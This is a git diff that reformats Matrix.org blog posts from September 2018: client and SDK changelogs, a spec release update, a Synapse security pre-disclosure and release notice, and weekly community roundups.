    • Upgrade to version 0.9.9.
    Improvements:
      -
    • Improve intent to open document (#2544)
    • -
    • Avoid useless dialog for permission (#2331)
    • -
    • Improve wording when exporting keys (#2289)
    • +
    • Improve intent to open document (#2544)
    • +
    • Avoid useless dialog for permission (#2331)
    • +
    • Improve wording when exporting keys (#2289)
    Other changes:
      -
    • Upgrade lib libphonenumber from v8.0.1 to 8.9.12
    • -
    • Upgrade Google firebase libs
    • +
    • Upgrade lib libphonenumber from v8.0.1 to 8.9.12
    • +
    • Upgrade Google firebase libs
    Bugfix:
      -
    • Handle \\/ at the beginning of a message to send a message starting with / (#658)
    • -
    • Escape nicknames starting with a forward slash / in mentions (#2146)
    • -
    • Improve management of Push feature
    • -
    • MatrixError mResourceLimitExceededError is now managed in MxDataHandler (vector-im/riot-android#2547 point 2)
    • +
    • Handle \\/ at the beginning of a message to send a message starting with / (#658)
    • +
    • Escape nicknames starting with a forward slash / in mentions (#2146)
    • +
    • Improve management of Push feature
    • +
    • MatrixError mResourceLimitExceededError is now managed in MxDataHandler (vector-im/riot-android#2547 point 2)
    #### Changes in Riot Android 0.8.14 (2018-08-27) MatrixSdk:
      -
    • Upgrade to version 0.9.8.
    • +
    • Upgrade to version 0.9.8.
    Features:
      -
    • Manage server quota notices (#2440)
    • +
    • Manage server quota notices (#2440)
    Improvements:
      -
    • Do not ask permission to write external storage at startup (#2483)
    • -
    • Update settings icon and transparent logo for notifications and navigation drawer (#2492)
    • -
    • URL previews are no longer requested from the server when displaying URL previews is disabled (PR #2514)
    • -
    • Fix some plural and puzzle strings, and remove other unused ones (#2444)
    • -
    • Manage System Alerts in a dedicated section
    • +
    • Do not ask permission to write external storage at startup (#2483)
    • +
    • Update settings icon and transparent logo for notifications and navigation drawer (#2492)
    • +
    • URL previews are no longer requested from the server when displaying URL previews is disabled (PR #2514)
    • +
    • Fix some plural and puzzle strings, and remove other unused ones (#2444)
    • +
    • Manage System Alerts in a dedicated section
    Other changes:
      -
    • Upgrade olm-sdk.aar from version 2.2.2 to version 2.3.0
    • -
    • move PieFractionView from the SDK to the client (#2525)
    • +
    • Upgrade olm-sdk.aar from version 2.2.2 to version 2.3.0
    • +
    • move PieFractionView from the SDK to the client (#2525)
    Bugfix:
      -
    • Fix media sharing (#2530)
    • -
    • Fix notification sound issue in settings (#2524)
    • -
    • Disable app icon badge for "listen for event" notification (#2104)
    • +
    • Fix media sharing (#2530)
    • +
    • Fix notification sound issue in settings (#2524)
    • +
    • Disable app icon badge for "listen for event" notification (#2104)
    ### Riot iOS 0.7.3 @@ -167,26 +167,26 @@ Bugfix: Improvements:
      -
    • Upgrade MatrixKit version (v0.8.3).
    • +
    • Upgrade MatrixKit version (v0.8.3).
    Bug fix:
      -
    • Fix input toolbar reset in RoomViewController on MXSession state change (#2006 and #2008).
    • -
    • Fix user interaction disabled in master view of UISplitViewController when selecting a room (#2005).
    • +
    • Fix input toolbar reset in RoomViewController on MXSession state change (#2006 and #2008).
    • +
    • Fix user interaction disabled in master view of UISplitViewController when selecting a room (#2005).
    #### Changes in 0.7.2 (2018-08-24) Improvements:
      -
    • Upgrade MatrixKit version (v0.8.2).
    • -
    • Server Quota Notices in Riot (#1937).
    • +
    • Upgrade MatrixKit version (v0.8.2).
    • +
    • Server Quota Notices in Riot (#1937).
    Bug fix:
      -
    • User defaults: the preset application language (if any) is ignored.
    • -
    • Recents: Avoid to open a room twice (it crashed on room creation on quick HSes).
    • -
    • Riot-bot: Do not try to create a room with it if the user homeserver is not federated.
    • +
    • User defaults: the preset application language (if any) is ignored.
    • +
    • Recents: Avoid to open a room twice (it crashed on room creation on quick HSes).
    • +
    • Riot-bot: Do not try to create a room with it if the user homeserver is not federated.
    ### Riot Web @@ -205,36 +205,36 @@ There's been lots of work debugging and optimising Lazy Loading, which is edging Improvements:
      -
    • Clear unreachable Url when clearing media cache (vector-im/riot-android#2479)
    • -
    • "In reply to" is not clickable on Riot Android yet. Make it a plain text (vector-im/riot-android#2469)
    • +
    • Clear unreachable Url when clearing media cache (vector-im/riot-android#2479)
    • +
    • "In reply to" is not clickable on Riot Android yet. Make it a plain text (vector-im/riot-android#2469)
    Bugfix:
      -
    • Removing room from 'low priority' or 'favorite' does not work (vector-im/riot-android#2526)
    • -
    • MatrixError mResourceLimitExceededError is now managed in MxDataHandler (vector-im/riot-android#2547)
    • +
    • Removing room from 'low priority' or 'favorite' does not work (vector-im/riot-android#2526)
    • +
    • MatrixError mResourceLimitExceededError is now managed in MxDataHandler (vector-im/riot-android#2547)
    API Change:
      -
    • MxSession constructor is now private. Please use MxSession.Builder() to create a MxSession
    • +
    • MxSession constructor is now private. Please use MxSession.Builder() to create a MxSession
    #### Changes to Matrix Android SDK in 0.9.8 (2018-08-27) Features:
      -
    • Manage server_notices tag and server quota notices (vector-im/riot-android#2440)
    • +
    • Manage server_notices tag and server quota notices (vector-im/riot-android#2440)
    Bugfix:
      -
    • Room aliases including the '@' and '=' characters are now recognized as valid (vector-im/riot-android#2079, vector-im/riot-android#2542)
    • -
    • Room name and topic can be now set back to empty (vector-im/riot-android#2345)
    • +
    • Room aliases including the '@' and '=' characters are now recognized as valid (vector-im/riot-android#2079, vector-im/riot-android#2542)
    • +
    • Room name and topic can be now set back to empty (vector-im/riot-android#2345)
    API Change:
      -
    • Remove PieFractionView class from the Matrix SDK. This class is now in Riot sources (#336)
    • -
    • MXMediasCache.createTmpMediaFile() methods are renamed to createTmpDecryptedMediaFile()
    • -
    • MXMediasCache.clearTmpCache() method is renamed to clearTmpDecryptedMediaCache()
    • -
    • Add MXMediasCache.moveToShareFolder() to move a tmp decrypted file to another folder to prevent deletion during sharing. New API MXMediasCache.clearShareDecryptedMediaCache() can be called when the application is resumed. (vector-im/riot-android#2530)
    • +
    • Remove PieFractionView class from the Matrix SDK. This class is now in Riot sources (#336)
    • +
    • MXMediasCache.createTmpMediaFile() methods are renamed to createTmpDecryptedMediaFile()
    • +
    • MXMediasCache.clearTmpCache() method is renamed to clearTmpDecryptedMediaCache()
    • +
    • Add MXMediasCache.moveToShareFolder() to move a tmp decrypted file to another folder to prevent deletion during sharing. New API MXMediasCache.clearShareDecryptedMediaCache() can be called when the application is resumed. (vector-im/riot-android#2530)
    ### Matrix iOS SDK @@ -243,24 +243,24 @@ API Change: Bug fix:
      -
    • MXJSONModel: Manage m.server_notice empty tag sent due to a bug server side (PR #556).
    • +
    • MXJSONModel: Manage m.server_notice empty tag sent due to a bug server side (PR #556).
    #### Changes in Matrix iOS SDK in 0.11.2 (2018-08-24) Improvements:
      -
    • MXSession: Add the supportedMatrixVersions method getting versions of the specification supported by the homeserver.
    • -
    • MXRestClient: Add testUserRegistration to check earlier if a username can be registered.
    • -
    • MXSession: Add MXSessionStateSyncError state and MXSession.syncError to manage homeserver resource quota on /sync requests (vector-im/riot-ios/issues/1937).
    • -
    • MXError: Add kMXErrCodeStringResourceLimitExceeded to manage homeserver resource quota (vector-im/riot-ios/issues/1937).
    • -
    • MXError: Define constant strings for keys and values that can be found in a Matrix JSON dictionary error.
    • -
    • Tests: MXHTTPClient_Private.h: Add method to set fake delay in HTTP requests.
    • +
    • MXSession: Add the supportedMatrixVersions method getting versions of the specification supported by the homeserver.
    • +
    • MXRestClient: Add testUserRegistration to check earlier if a username can be registered.
    • +
    • MXSession: Add MXSessionStateSyncError state and MXSession.syncError to manage homeserver resource quota on /sync requests (vector-im/riot-ios/issues/1937).
    • +
    • MXError: Add kMXErrCodeStringResourceLimitExceeded to manage homeserver resource quota (vector-im/riot-ios/issues/1937).
    • +
    • MXError: Define constant strings for keys and values that can be found in a Matrix JSON dictionary error.
    • +
    • Tests: MXHTTPClient_Private.h: Add method to set fake delay in HTTP requests.
    Bug fix:
      -
    • People tab is empty in the share extension (vector-im/riot-ios/issues/1988).
    • -
    • MXError: MXError lost NSError.userInfo information.
    • +
    • People tab is empty in the share extension (vector-im/riot-ios/issues/1988).
    • +
    • MXError: MXError lost NSError.userInfo information.
    ## Tools diff --git a/content/blog/2018/09/2018-09-03-matrix-spec-update-august-2018.md b/content/blog/2018/09/2018-09-03-matrix-spec-update-august-2018.md index 231e87f99..d3a2d5b55 100644 --- a/content/blog/2018/09/2018-09-03-matrix-spec-update-august-2018.md +++ b/content/blog/2018/09/2018-09-03-matrix-spec-update-august-2018.md @@ -7,118 +7,101 @@ author = ["Matthew Hodgson"] category = ["Tech"] +++ -## Introducing Client Server API 0.4, and the first ever stable IS, AS and Push APIs spec releases! +## Introducing Client Server API 0.4, and the first ever stable IS, AS and Push APIs spec releases Hi folks, - As many know, we've been on a massive sprint to improve the spec - both fixing omissions where features have been implemented in the reference servers but were never formalised in the spec, and fixing bugs where the spec has thinkos which stop us from being able to ratify it as stable and thus fit for purpose . - In practice, our target has been to cut stable releases of all the primary Matrix APIs by the end of August - effectively declaring Matrix out of beta, at least at the specification level.  For context: historically only one API has ever been released as stable - the Client Server API, which was the result of a similar sprint back in Jan 2016. This means that the Server Server (SS) API, Identity Service (IS) API, Application Service (AS) API and Push Gateway API have never had an official stable release - which has obviously been problematic for those implementing them. - However, as of the end of Friday Aug 31, we're proud to announce the first ever stable releases of the IS, AS and Push APIs! - + To the best of our knowledge, these API specs are now complete and accurately describe all the current behaviour implemented in the reference implementations (sydent, synapse and sygnal) and are fit for purpose. Any deviation from the spec in the reference implementations should probably be considered a bug in the impl. All changes take the form of filling in spec omissions and adding clarifications to the existing behaviour in order to get things to the point that an independent party can implement these APIs without having to refer to anything other than the spec. - This is the result of a lot of work which spans the whole Spec Core Team, but has been particularly driven by TravisR, who has taken the lead on this whole mission to improve the spec.  Huge thanks are due to Travis for his work here, and also massive thanks to everyone who has ~~suffered~~ ~~endured~~ reviewed his PRs and contributed to the releases.  The spec is looking unrecognisably better for it - and Matrix 1.0 is feeling closer than ever! - Alongside the work on the IS/AS/Push APIs, there has also been a massive attempt to plug all the spec omissions in the Client Server API.  Historically the CS API releases have missed some of the newer APIs (and of course always miss the ones which postdate a given release), but we've released the APIs which /have/ been specified as stable in order to declare them stable.  However, in this release we've tried to go through and fill in as many remaining gaps as possible. - The result is the release of Client Server API version 0.4. This is a huge update - increasing the size of the CS API by ~40%. The biggest new stuff includes fully formalising support for end-to-end encryption (thanks to Zil0!), versioning for rooms (so we can upgrade rooms to new versions of the protocol), synchronised read markers, user directories, server ACLs, MSISDN 3rd party ids, and .well-known server discovery (not that it's widely used yet), but for the full picture, best bet is to look at the changelog (now managed by towncrier!).  It's probably fair to say that the CS API is growing alarmingly large at this point - Chrome says that it'd be 223 A4 pages if printed. Our solution to this will be to refactor it somehow (and perhaps switch to a more compact representation of the contents). - Some things got deliberately missed from the CS 0.4 release: particularly membership Lazy Loading (because we're still testing it out and haven't released it properly in the wild yet), the various GDPR-specific APIs (because they may evolve a bit as we refine them since the original launch), finalising ID grammars in the overall spec (because this is surprisingly hard and subtle and we don't want to rush it) and finally Communities (aka Groups), as they are still somewhat in flux. - -Meanwhile, on the Server to Server API, there has also been a massive amount of work.  Since the beginning of July it's +Meanwhile, on the Server to Server API, there has also been a massive amount of work.  Since the beginning of July it's tripled in size as we've filled in the gaps, over the course of >200 commits (>150 of which from Travis).  If you take a look at the current snapshot it's pretty unrecognisable from the historical draft; with the main changes being:
      -
    • Adding the new State Resolution algorithm to address flaws in the original one.  This has been where much of our time has gone - see MSC1442 for full details.  Adopting the new algorithm requires rooms to be recreated; we'll write more about this in the near future when we actually roll it out. +
    • Adding the new State Resolution algorithm to address flaws in the original one.  This has been where much of our time has gone - see MSC1442 for full details.  Adopting the new algorithm requires rooms to be recreated; we'll write more about this in the near future when we actually roll it out.
    • -
    • Adding room versioning so we can upgrade to the new State Resolution algorithm. +
    • Adding room versioning so we can upgrade to the new State Resolution algorithm.
    • -
    • Everything is now properly expressed as Swagger (OpenAPI), just like the CS API +
    • Everything is now properly expressed as Swagger (OpenAPI), just like the CS API
    • -
    • Adding all the details for E2E encryption (including dependencies like to-device messaging and device-list synchronisation) +
    • Adding all the details for E2E encryption (including dependencies like to-device messaging and device-list synchronisation)
    • -
    • Improvements in specifying how to authorize inbound events over federation +
    • Improvements in specifying how to authorize inbound events over federation
    • -
    • Document federation APIs such as /event_auth and /query_auth and /get_missing_events +
    • Document federation APIs such as /event_auth and /query_auth and /get_missing_events
    • -
    • Document 3rd party invites over federation +
    • Document 3rd party invites over federation
    • -
    • Document the /user/* federation endpoints +
    • Document the /user/* federation endpoints
    • -
    • Document Server ACLs +
    • Document Server ACLs
    • -
    • Document read receipts over federation +
    • Document read receipts over federation
    • -
    • Document presence over federation +
    • Document presence over federation
    • -
    • Document typing notifications over federation +
    • Document typing notifications over federation
    • -
    • Document content repository over federation +
    • Document content repository over federation
    • -
    • Document room directory over federation +
    • Document room directory over federation
    • -
    • ...and many many other minor bug fixes, omission fixes, and restructuring for coherency - see https://github.com/matrix-org/matrix-doc/issues/1464 for an even longer list :) +
    • ...and many many other minor bug fixes, omission fixes, and restructuring for coherency - see https://github.com/matrix-org/matrix-doc/issues/1464 for an even longer list :)
    However, we haven't finished it all: despite our best efforts we're running slightly past the original target of Aug 31.  The current state of play for the r0 release overall (in terms of pending issues) is: ...and you can see the full breakdown over at the public Github project dashboard. - The main stuff we still have remaining on the Server/Server API at this point is:
      -
    • Better specifying how we validate inbound events. See MSC1646 for details & progress. +
    • Better specifying how we validate inbound events. See MSC1646 for details & progress.
    • -
    • Switching event IDs to be hashes. See MSC1640 for details and progress. +
    • Switching event IDs to be hashes. See MSC1640 for details and progress.
    • -
    • Various other remaining security considerations (e.g. how to handle malicious auth events in the DAG; how to better handle DoS situations). +
    • Various other remaining security considerations (e.g. how to handle malicious auth events in the DAG; how to better handle DoS situations).
    • -
    • Merging in the changes to authoring m.room.power_levels (as per MSC1304) +
    • Merging in the changes to authoring m.room.power_levels (as per MSC1304)
    • -
    • Formally specifying the remaining identifiers which lack a formal grammar - MSC1597 and particularly room aliases ( +
    • Formally specifying the remaining identifiers which lack a formal grammar - MSC1597 and particularly room aliases ( MSC1608)
    The plan here is to continue speccing and implementing these at top priority (with Travis continuing to work fulltime on spec work), and we'll obviously keep you up-to-date on progress.  Some of the changes here (e.g. event IDs) are quite major and we definitely want to implement them before speccing them, so we're just going to have to keep going as fast as we can. Needless to say we want to cut an r0 of the S2S API alongside the others asap and declare Matrix out of beta (at least at the spec level :) - In terms of visualising progress on this spec mission it's interesting to look at the rate at which we've been closing PRs: this graph shows the total number of PRs which are in state ‘open' or ‘closed' on any given day: - ...which clearly shows the original sprint to get the r0 of the CS API out the door at the end 2015, and then a more leisurely pace until the beginning of July 2018 since which the pace has picked up massively.  Other ways of looking at include the number of open issues... - ...or indeed the number of commits per week… - ...or the overall Github Project activity for August.  (It's impressive to see Zil0 sneaking in there on second place on the commit count, thanks to all his GSoC work documenting E2E encryption in the spec as part of implementing it in matrix-python-sdk!) - Anyway, enough numerology.  It's worth noting that all of the dev for r0 has generally followed the proposed Open Governance Model for Matrix, with the core spec team made up of both historical core team folk (erik, richvdh, dave & matthew), new core team folk (uhoreg & travis) and community folk (kitsune, anoa & mujx) working together to review and approve the changes - and we've been doing MSCs (albeit with an accelerated pace) for anything which we feel requires input from the wider community.  Once the Server/Server r0 release is out the door we'll be finalising the open governance model and switching to a slightly more measured (but productive!) model of spec development as outlined there. - -Meanwhile, Matrix 1.0 gets ever closer.  With (almost) all this spec mission done, our plan is to focus more on improving the reference implementations - particularly performance in Synapse,  +Meanwhile, Matrix 1.0 gets ever closer.  With (almost) all this spec mission done, our plan is to focus more on improving the reference implementations - particularly performance in Synapse, UX in matrix-{'{'}react,ios,android{'}'}-sdk as used by Riot (especially for E2E encryption), and then declare a 1.0 and get back to implementing new features (particularly Editable Messages and Reactions) at last. - We'd like to thank everyone for your patience whilst we've been playing catch up on the spec, and hope you agree it's been worth the effort :) - Matthew & the core spec team. diff --git a/content/blog/2018/09/2018-09-05-pre-disclosure-upcoming-critical-security-fix-for-synapse.md b/content/blog/2018/09/2018-09-05-pre-disclosure-upcoming-critical-security-fix-for-synapse.md index f06a3b565..9e0c96178 100644 --- a/content/blog/2018/09/2018-09-05-pre-disclosure-upcoming-critical-security-fix-for-synapse.md +++ b/content/blog/2018/09/2018-09-05-pre-disclosure-upcoming-critical-security-fix-for-synapse.md @@ -9,15 +9,11 @@ category = ["Security"] Hi all, - -During the ongoing work to finalise a stable release of Matrix's Server-Server federation API, we've been doing a full audit of Synapse's implementation and have identified a serious vulnerability which we are going to release a security update to address (Synapse 0.33.3.1) on +During the ongoing work to finalise a stable release of Matrix's Server-Server federation API, we've been doing a full audit of Synapse's implementation and have identified a serious vulnerability which we are going to release a security update to address (Synapse 0.33.3.1) on Thursday Sept 6th 2018 at 12:00 UTC. - We are coordinating with package maintainers to ensure that patched versions of packages will be available at that time - meanwhile, if you run your own Synapse, please be prepared to upgrade as soon as the patched versions are released.  All previous versions of Synapse are affected, so everyone will want to upgrade. - Thank you for your time, patience and understanding while we resolve the issue, - signed_predisclosure.txt diff --git a/content/blog/2018/09/2018-09-06-critical-security-update-synapse-0-33-3-1.md b/content/blog/2018/09/2018-09-06-critical-security-update-synapse-0-33-3-1.md index 19b61f488..6da138b78 100644 --- a/content/blog/2018/09/2018-09-06-critical-security-update-synapse-0-33-3-1.md +++ b/content/blog/2018/09/2018-09-06-critical-security-update-synapse-0-33-3-1.md @@ -9,18 +9,14 @@ category = ["Releases", "Security"] Hi All, - As referenced in yesterday's pre-disclosure, today we are releasing Synapse 0.33.3.1 as a critical security update. - -We have patched two security vulnerabilities we identified whilst working on the upcoming r0 spec release for the Server-Server API (see details below). We do not believe either have been exploited in the wild, but strongly recommend everybody running a federated Synapse upgrades immediately. - +We have patched two security vulnerabilities we identified whilst working on the upcoming r0 spec release for the Server-Server API (see details below). We do not believe either have been exploited in the wild, but strongly recommend everybody running a federated Synapse upgrades immediately. As always you can get the new update here or from any of the sources mentioned at https://github.com/matrix-org/synapse/ Many thanks for your patience and understanding; with fixes like this we are moving ever closer to Synapse reaching a 1.0 Thanks also to the package maintainers who have coordinated with us to ensure distro packages are available for a speedy upgrade! - Note, for anyone running Debian Jessie, we have prepared a 0.33.2.1 deb (as 0.33.3 dropped support for Jessie). ### Synapse 0.33.3.1 (2018-09-06) @@ -28,12 +24,12 @@ Note, for anyone running Debian Jessie, we have prepared a 0.33.2.1 deb (as 0.33 #### SECURITY FIXES
      -
    • Fix an issue where event signatures were not always correctly validated (#3796)
    • -
    • Fix an issue where server_acls could be circumvented for incoming events (#3796)
    • +
    • Fix an issue where event signatures were not always correctly validated (#3796)
    • +
    • Fix an issue where server_acls could be circumvented for incoming events (#3796)
    #### Internal Changes
      -
    • Unignore synctl in .dockerignore to fix docker builds (#3802)
    • +
    • Unignore synctl in .dockerignore to fix docker builds (#3802)
    diff --git a/content/blog/2018/09/2018-09-08-this-week-in-matrix-2018-09-07.md b/content/blog/2018/09/2018-09-08-this-week-in-matrix-2018-09-07.md index 22af937d6..44caa53e4 100644 --- a/content/blog/2018/09/2018-09-08-this-week-in-matrix-2018-09-07.md +++ b/content/blog/2018/09/2018-09-08-this-week-in-matrix-2018-09-07.md @@ -37,16 +37,16 @@ maze appeared this week and announced Seaglass, with updates this week including:
      -
    • Displaying stickers
    • -
    • Lazy-loading room history on startup to help with performance
    • -
    • Scrollback support (both forwards and backwards)
    • -
    • Support for Matthew's Account (aka retries on initial sync for those of us with massive initial syncs, and general perf improvements to nicely support >2000 rooms)
    • -
    • Better avatar support & cosmetics on macOS Mojave
    • -
    • Encryption verification support, device blacklisting and message information
    • -
    • Ability to turn encryption on in rooms
    • -
    • Responding to encryption being turned on in rooms
    • -
    • Paranoid mode for encryption (only send to verified devices)
    • -
    • Invitation support (both in UI and /invite)
    • +
    • Displaying stickers
    • +
    • Lazy-loading room history on startup to help with performance
    • +
    • Scrollback support (both forwards and backwards)
    • +
    • Support for Matthew's Account (aka retries on initial sync for those of us with massive initial syncs, and general perf improvements to nicely support >2000 rooms)
    • +
    • Better avatar support & cosmetics on macOS Mojave
    • +
    • Encryption verification support, device blacklisting and message information
    • +
    • Ability to turn encryption on in rooms
    • +
    • Responding to encryption being turned on in rooms
    • +
    • Paranoid mode for encryption (only send to verified devices)
    • +
    • Invitation support (both in UI and /invite)
    @@ -98,7 +98,7 @@ Slavi reports: We should say a huge Thank You to &Adam for his work leading the Python SDK over the previous months! Unfortunately due to a busy home life (best of luck for the second child!) he has decided to step down as lead maintainer. Anyone interested in this project should head to https://github.com/matrix-org/matrix-python-sdk/issues/279, and also come and chat in #matrix-python-sdk:matrix.org. -## MatrixToyBots! +## MatrixToyBots Coffee reports that: diff --git a/content/blog/2018/09/2018-09-11-synapse-0-33-4-released.md b/content/blog/2018/09/2018-09-11-synapse-0-33-4-released.md index 8a6b20436..f12cb7814 100644 --- a/content/blog/2018/09/2018-09-11-synapse-0-33-4-released.md +++ b/content/blog/2018/09/2018-09-11-synapse-0-33-4-released.md @@ -16,41 +16,41 @@ As ever, you can get the new update from #3659) -
  • Server notices for resource limit blocking (#3680)
  • -
  • Allow guests to use /rooms/:roomId/event/:eventId (#3724)
  • -
  • Add mau_trial_days config param, so that users only get counted as MAU after N days. (#3749)
  • -
  • Require twisted 17.1 or later (fixes #3741). (#3751)
  • +
  • Support profile API endpoints on workers (#3659)
  • +
  • Server notices for resource limit blocking (#3680)
  • +
  • Allow guests to use /rooms/:roomId/event/:eventId (#3724)
  • +
  • Add mau_trial_days config param, so that users only get counted as MAU after N days. (#3749)
  • +
  • Require twisted 17.1 or later (fixes #3741). (#3751)
  • #### Bugfixes
      -
    • Fix error collecting prometheus metrics when run on dedicated thread due to threading concurrency issues (#3722)
    • -
    • Fix bug where we resent "limit exceeded" server notices repeatedly (#3747)
    • -
    • Fix bug where we broke sync when using limit_usage_by_mau but hadn't configured server notices (#3753)
    • -
    • Fix 'federation_domain_whitelist' such that an empty list correctly blocks all outbound federation traffic (#3754)
    • -
    • Fix tagging of server notice rooms (#3755#3756)
    • -
    • Fix 'admin_uri' config variable and error parameter to be 'admin_contact' to match the spec. (#3758)
    • -
    • Don't return non-LL-member state in incremental sync state blocks (#3760)
    • -
    • Fix bug in sending presence over federation (#3768)
    • -
    • Fix bug where preserved threepid user comes to sign up and server is mau blocked (#3777)
    • +
    • Fix error collecting prometheus metrics when run on dedicated thread due to threading concurrency issues (#3722)
    • +
    • Fix bug where we resent "limit exceeded" server notices repeatedly (#3747)
    • +
    • Fix bug where we broke sync when using limit_usage_by_mau but hadn't configured server notices (#3753)
    • +
    • Fix 'federation_domain_whitelist' such that an empty list correctly blocks all outbound federation traffic (#3754)
    • +
    • Fix tagging of server notice rooms (#3755#3756)
    • +
    • Fix 'admin_uri' config variable and error parameter to be 'admin_contact' to match the spec. (#3758)
    • +
    • Don't return non-LL-member state in incremental sync state blocks (#3760)
    • +
    • Fix bug in sending presence over federation (#3768)
    • +
    • Fix bug where preserved threepid user comes to sign up and server is mau blocked (#3777)
    #### Internal Changes
      -
    • Removed the link to the unmaintained matrix-synapse-auto-deploy project from the readme. (#3378)
    • -
    • Refactor state module to support multiple room versions (#3673)
    • -
    • The synapse.storage module has been ported to Python 3. (#3725)
    • -
    • Split the state_group_cache into member and non-member state events (and so speed up LL /sync) (#3726)
    • -
    • Log failure to authenticate remote servers as warnings (without stack traces) (#3727)
    • -
    • The CONTRIBUTING guidelines have been updated to mention our use of Markdown and that .misc files have content. (#3730)
    • -
    • Reference the need for an HTTP replication port when using the federation_reader worker (#3734)
    • -
    • Fix minor spelling error in federation client documentation. (#3735)
    • -
    • Remove redundant state resolution function (#3737)
    • -
    • The test suite now passes on PostgreSQL. (#3740)
    • -
    • Fix MAU cache invalidation due to missing yield (#3746)
    • -
    • Make sure that we close db connections opened during init (#3764)
    • -
    • Unignore synctl in .dockerignore to fix docker builds (#3802)
    • +
    • Removed the link to the unmaintained matrix-synapse-auto-deploy project from the readme. (#3378)
    • +
    • Refactor state module to support multiple room versions (#3673)
    • +
    • The synapse.storage module has been ported to Python 3. (#3725)
    • +
    • Split the state_group_cache into member and non-member state events (and so speed up LL /sync) (#3726)
    • +
    • Log failure to authenticate remote servers as warnings (without stack traces) (#3727)
    • +
    • The CONTRIBUTING guidelines have been updated to mention our use of Markdown and that .misc files have content. (#3730)
    • +
    • Reference the need for an HTTP replication port when using the federation_reader worker (#3734)
    • +
    • Fix minor spelling error in federation client documentation. (#3735)
    • +
    • Remove redundant state resolution function (#3737)
    • +
    • The test suite now passes on PostgreSQL. (#3740)
    • +
    • Fix MAU cache invalidation due to missing yield (#3746)
    • +
    • Make sure that we close db connections opened during init (#3764)
    • +
    • Unignore synctl in .dockerignore to fix docker builds (#3802)
    diff --git a/content/blog/2018/09/2018-09-15-this-week-in-matrix-2018-09-14.md b/content/blog/2018/09/2018-09-15-this-week-in-matrix-2018-09-14.md index 95cbf101d..0f61d15b0 100644 --- a/content/blog/2018/09/2018-09-15-this-week-in-matrix-2018-09-14.md +++ b/content/blog/2018/09/2018-09-15-this-week-in-matrix-2018-09-14.md @@ -17,29 +17,29 @@ category = ["This Week in Matrix"] It's been some months since we checked in with FluffyChat. If you're a Ubuntu Touch user, or have a device running it, you should see the progress that has been made recently on this Matrix client. Collected changelog 0.5.0 to latest (0.5.4):
      -
    • Search chats
    • -
    • Chat avatars
    • -
    • Search users in chats
    • -
    • Security & Privacy settings:
    • +
    • Search chats
    • +
    • Chat avatars
    • +
    • Search users in chats
    • +
    • Security & Privacy settings:
      -
    1. Disable typing notifications
    2. -
    3. Auto-accept invitations
    4. +
    5. Disable typing notifications
    6. +
    7. Auto-accept invitations
      -
    • New message status:
    • +
    • New message status:
      -
    1. Sending: Activity indicator
    2. -
    3. Sent: Little cloud
    4. -
    5. Received: Tick
    6. -
    7. Seen by someone: Usericon
    8. +
    9. Sending: Activity indicator
    10. +
    11. Sent: Little cloud
    12. +
    13. Received: Tick
    14. +
    15. Seen by someone: Usericon
      -
    • Display stickers
    • -
    • Minor UI improvements
    • -
    • FluffyChat now automatically opens the link to the matrix.org consens
    • -
    • Updated translations
    • +
    • Display stickers
    • +
    • Minor UI improvements
    • +
    • FluffyChat now automatically opens the link to the matrix.org consens
    • +
    • Updated translations
    @@ -93,9 +93,9 @@ This is pretty much a maintenance release - fixing the DM avatar regression that Full changelogs as always are split over the three projects which make up Riot/Web: ## SDKs and Libraries @@ -112,10 +112,10 @@ started making contributions: This release contains support for lazy loading room members, and also some breaking changes relating to startClient(). >
      ->
    • Support for lazy loading members. This should improve performance for users who joined big rooms a lot. Pass to lazyLoadMembers = true option when calling startClient.
    • ->
    • MatrixClient::startClient now returns a Promise. No method should be called on the client before that promise resolves. Before this method didn't return anything.
    • ->
    • A new CATCHUP sync state, emitted by MatrixClient#"sync" and returned by MatrixClient::getSyncState(), when doing initial sync after the ERROR state. See MatrixClient documentation for details.
    • ->
    • RoomState::maySendEvent('m.room.message', userId) & RoomState::maySendMessage(userId) do not check the membership of the user anymore, only the power level. To check if the syncing user is allowed to write in a room, use Room::maySendMessage() as RoomState is not always aware of the syncing user's membership anymore, in case lazy loading of members is enabled.
    • +>
    • Support for lazy loading members. This should improve performance for users who joined big rooms a lot. Pass to lazyLoadMembers = true option when calling startClient.
    • +>
    • MatrixClient::startClient now returns a Promise. No method should be called on the client before that promise resolves. Before this method didn't return anything.
    • +>
    • A new CATCHUP sync state, emitted by MatrixClient#"sync" and returned by MatrixClient::getSyncState(), when doing initial sync after the ERROR state. See MatrixClient documentation for details.
    • +>
    • RoomState::maySendEvent('m.room.message', userId) & RoomState::maySendMessage(userId) do not check the membership of the user anymore, only the power level. To check if the syncing user is allowed to write in a room, use Room::maySendMessage() as RoomState is not always aware of the syncing user's membership anymore, in case lazy loading of members is enabled.
    • >
    ## Synapse @@ -148,9 +148,9 @@ On the work done to support this on matrix-appservice-bridge, there is basic sup Travis has been tidying up loose bits on the Matrix spec this week: In practice, finalising the S2S API is now blocked on proving the implementation on Synapse; work on this will resume next week and then we'll document the end result and ship the r0 at last.  Timings are going to be completely determined by available manpower and what level of ops distractions we face (c.f. the Synapse section above...).  Whilst we're waiting for the final S2S details to get hashed out, Travis is going to be helping on Riot dev, to try to stop stuff like this, as there's no point in having the platonic ideal of a perfect spec if actual users are unable to benefit from it. @@ -158,7 +158,7 @@ In practice, finalising the S2S API is now blocked on proving the implementation #matrix-dev:matrix.org was reborn as a new room a couple of weeks ago to flush out old corrupted events, but maybe not everyone knows. Come join #matrix-dev:matrix.org, it's a starting point for all developers looking to build on the platform.  We're also rebuilding #test:matrix.org and #riot:matrix.org, although once we ship the new state resolution -## A sneak peek at Modular... +## A sneak peek at Modular diff --git a/content/blog/2018/09/2018-09-21-this-week-in-matrix-2018-09-21.md b/content/blog/2018/09/2018-09-21-this-week-in-matrix-2018-09-21.md index 3f23359f9..03dda456e 100644 --- a/content/blog/2018/09/2018-09-21-this-week-in-matrix-2018-09-21.md +++ b/content/blog/2018/09/2018-09-21-this-week-in-matrix-2018-09-21.md @@ -7,19 +7,19 @@ author = ["Ben Parsons"] category = ["This Week in Matrix"] +++ -## Nheko 0.6.0 released! +## Nheko 0.6.0 released Get latest stable releases from GitHub. ### Features
      -
    • Support for sending & receiving markdown formatted messages.
    • -
    • Import/Export of megolm session keys. (Incompatible with Riot)
    • -
    • macOS: The native emoji picker can be used.
    • -
    • Context menu option to show the raw text message of an event.
    • -
    • Rooms with unread messages are marked in the room list.
    • -
    • Clicking on a user pill link will open the user profile.
    • +
    • Support for sending & receiving markdown formatted messages.
    • +
    • Import/Export of megolm session keys. (Incompatible with Riot)
    • +
    • macOS: The native emoji picker can be used.
    • +
    • Context menu option to show the raw text message of an event.
    • +
    • Rooms with unread messages are marked in the room list.
